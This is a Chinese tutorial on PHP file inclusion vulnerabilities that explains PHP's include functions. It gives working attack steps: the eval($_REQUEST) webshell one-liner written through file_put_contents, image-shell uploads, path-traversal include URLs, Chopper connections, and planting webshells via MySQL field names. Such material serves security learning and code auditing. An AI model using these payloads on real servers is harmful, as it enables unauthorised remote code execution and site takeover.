- 每日一句:没有完美的网站
- 本篇内容:什么是文件包含漏
函数解析
实战注意
一、什么是文件包含漏洞
1.场景
后端的每个页面都要进行身份验证。
假若普通人可以访问管理员才能看到的页面,不就造成了越权吗?
但是如果每个页面都写一遍验证身份的代码。整个系统会变得很冗余且难维护。
为此,开发们写了一些文件包含函数。这样验证代码仅仅写在一个文件中
什么地方用到就调用这个文件,即文件包含
初衷:~减少代码冗余
~方便修改
2.定义
攻击者利用包含的特性,加上应用本身对包含文件的控制不严格
导致系统执行了攻击者的恶意文件。
本质:文件包含并不属于漏洞,只是因为对包含执行的文件不可控
才导致了文件包含漏洞的产生。
注意:包含进来的文件“不管后缀”是什么都会被当作php代码解析执行,
//突破了后缀的限制,一般配合图片马进行攻击
3.攻击思路:
方法一:
~制作图片马,内容作用就是创建一句马。代码如下:
<?php file_put_contents('8.php','<?php eval($_REQUEST[a])?>');?>
~上传图片马
~文件包含图片马
~执行图片马,生成一句马
~找到咱们一句马的位置 //可以是绝对路径,可以是相对路径
~菜刀连接
方法二:
~上传正常图片马
~传参为:url?a=file_put_contents('8.php','<?php eval($_REQUEST[a])?>');
~菜刀连接
4.分类
~本地文件包含(叫做LFI)
包含执行网站本身的文件
~远程文件包含(叫做RFI)
通过http协议包含执行别的地方的文件
注意:远程文件包含,PHP默认不开启,需要开启修改php.ini的这个配置(allow_url_include = On)
补充:其实win系统,可以通过本地文件包含实现远程文件包含
利用SMB服务,有兴趣的话可以去了解一下。
二、函数解析
1.include
使用include引用外部文件时,只有代码执行到include代码段时,才会调用外部文件。
当引用代码发生错误时,系统只会给出警告错误,而整个php文件会继续执行
总结:代码正常运行,运行到include处,加载外部代码,
即使加载的代码有错,但仅仅发出警告,整个文件继续执行
例如:echo ‘111’;
include(‘1.txt’); //假设1.txt不存在
echo ‘222’;
输出结果为:
111
错误信息 //爆出错,继续运行
222
2.require
php文件被执行之前,php解析器会先引用外部文件进行全部内容替换。
然后剩余的其他语句组成个新的php文件,最后执行这个新的php文件。
当引用代码发生错误时,整个文件都会报错,且停止运行(直接死掉)
总结:先加载外部代码与源代码组成新文件,运行新文件,若加载的外部代码有错,
整个文件直接整体报错,且停止运行
例如:echo ‘111’;
include(‘1.txt’); //假设1.txt不存在
echo ‘222’;
输出结果为:
111
错误信息 //到这停止运行
//没有222
注意:这个外部的代码出错也分等级,一般的小报错,这个require的文件
也依然会运行。只有出现致命错误的时候,文件才直接死掉。
3.include_once
在引用(导入文件前)先检测该文件是否存在别处已经引用过include_once
若已经引用过,则不会执行;若没有引用过,则执行
举例一:
<?php
include_once(‘1.php’);
include_once(‘2.php’);
?>
结果一:1.php被引用 2.php未被引用
举例二 :
<?php
include(‘1.php’);
include_once(‘2.php’);
?>
结果二:1.php被引用 2.php未被引用
举例三 :
<?php
include_once(‘1.php’);
include(‘2.php’);
?>
结果三:1.php被引用 2.php被引用
4.require_once
结合上边,道理一致
注意:这个“once”的含义。本质就是带once的多了一个判断
5.对上边补充
以上函数的包含路径,既可以是绝对路径,也可以是相对路径
6.文件包含GetShell
例如 :
目标站点3.php的内容如下:
<?php
if(某个条件):
include($_REQUEST[‘aa’]);
?>
访问网站:url 3.php? 满足某个条件 && aa=…/…/…/…/a/b/c/图片马
凡是这个文件(这个路径下的“…/…/…/…/a/b/c/图片马”)不管是什么
都会以php解析运行。那就厉害啦!!!
综上,其核心就是让代码可以满足某个条件,使之执行include函数,
我们在通过传参控制,让include包含我们想让其解析执行的文件即可
攻击步骤:
只要能上传文件(例如图片),我们只要在这个文件里插入“一句马”;
后缀什么的都不用改;
我们只要能控制传参“include”使内容改为上边内容;
然后我们的路径 填写图片马的路径 菜刀连接;
url 3.php?aa=…/…/…/…/a/b/c/图片马&a=phpinfo();
//图片马的连接参数是“a”
直接getshell
三、实战注意
1.cd sb/…/访问
cd admin //访问 admin文件夹
cd …/ //访问 上一层文件夹
cd admin/…/ //访问 admin进来,再出来
//所以综合直接什么也不做 //电脑看到这直接什么也不做
cd 随便写/…/ //什么也不做
这个小知识在php中也可以用,但是php中不要出现“? *”等符号,否则报错
2.php的“?”
php的传参路径中不要出现“?”
“?”代表传参的问题,一旦路径出现,基本就会报错。尽量避免“?”
3.路径意义
…/…/…/…/ 的意义就是跳到:根目录
有时候一个 / 的意思也是跳到:根目录
4.file_put_contents函数
作用:建立新文件
格式:file_put_contents(‘新建文件名’,‘新建文件内容’)
例如:
file_put_contents(‘sb.php’,’<?php eval($_REQUEST['a']);?>’)
//新建sb.php文件,内容是一句马
5.phpstudy修改配置文件
修改配置文件后,重启生效
6.源码审计注意事项
~seay搜索可控的include,双击查看函数位置
~查看需要满足什么条件才会执行
~在多向上看看代码,会不会有一些参数会导致整个代码终止的条件(如die或exit的字眼)
~调试代码的时候,多用var_dump()输出,echo输出有很多限制
~php中出现“ :: ”的时候,就是调用跟在后边类中的方法(简单理解,一个自定义函数)
7.mysql数据库存储结构
一般一个库,在本地就是一个文件夹
一个表就是一个文件,而字段的名字,则会被存储在这个文件中
so,有时候。我们直接将字段名改为:<?php eval($_REQUEST['a']);?>
就相对于在服务器的一个文件中写入恶意代码
找到该文件路径 //白盒审计,不多说
配合文件包含与菜刀,接下来就不用多说了吧
四、总结
- 文件包含不容易理解,一定要弄明白原理
- 理解文件包含的攻击过程和防御方法